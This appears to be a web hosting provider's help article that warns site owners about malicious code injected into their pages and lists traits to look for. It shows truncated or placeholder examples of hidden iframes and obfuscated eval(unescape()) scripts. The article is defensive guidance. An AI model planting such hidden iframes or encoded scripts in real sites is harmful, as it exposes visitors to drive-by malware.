It may be that, through vulnerable web applications or theft of your website login details, a potentially harmful code is placed in the web pages of your domain.
Here are just some examples of what such codes look like:

• <script>function v47e ...etc... 4950543E'));</script>
• <iframe src='http://url_contenente_malware' width='1' height='1' style='visibility: hidden;'></iframe>
• <script language="javascript">$= ...etc... ;eval(unescape($));document.write($);</script>
• <!-- ~ --><div style="visibility:hidden"><iframe src="
http://url_contenente_malware" width=100 height=80></iframe></div><!-- ~ -->

Usually these codes have one or more of the following characteristics :

• They have the "visibility: hidden" property, to be hidden during normal navigation of the website.
• They use an encoding to hide their content when reading the source page.
• They link to pages external to the servers of Aruba, usually pages which are stored on damaged servers or servers which may contain malware.

The main reason as to why individuals try to put such codes in a legal website, is to spread  malware to the visitors of such website. Basically, if a code similar to those above is found, the browser of the visitor is redirected to the external page linked by the code.
On such page there may be a malware which tries to install itself on the computer of the visitor attempting to exploit a number of known vulnerabilities.
If the PC of the visitor is not adequately protected there is a strong risk that it will be infected.

If you detect a code similar to those above on your domain, please follow the instructions in  the article 'What to do in case of malicious code on your website'.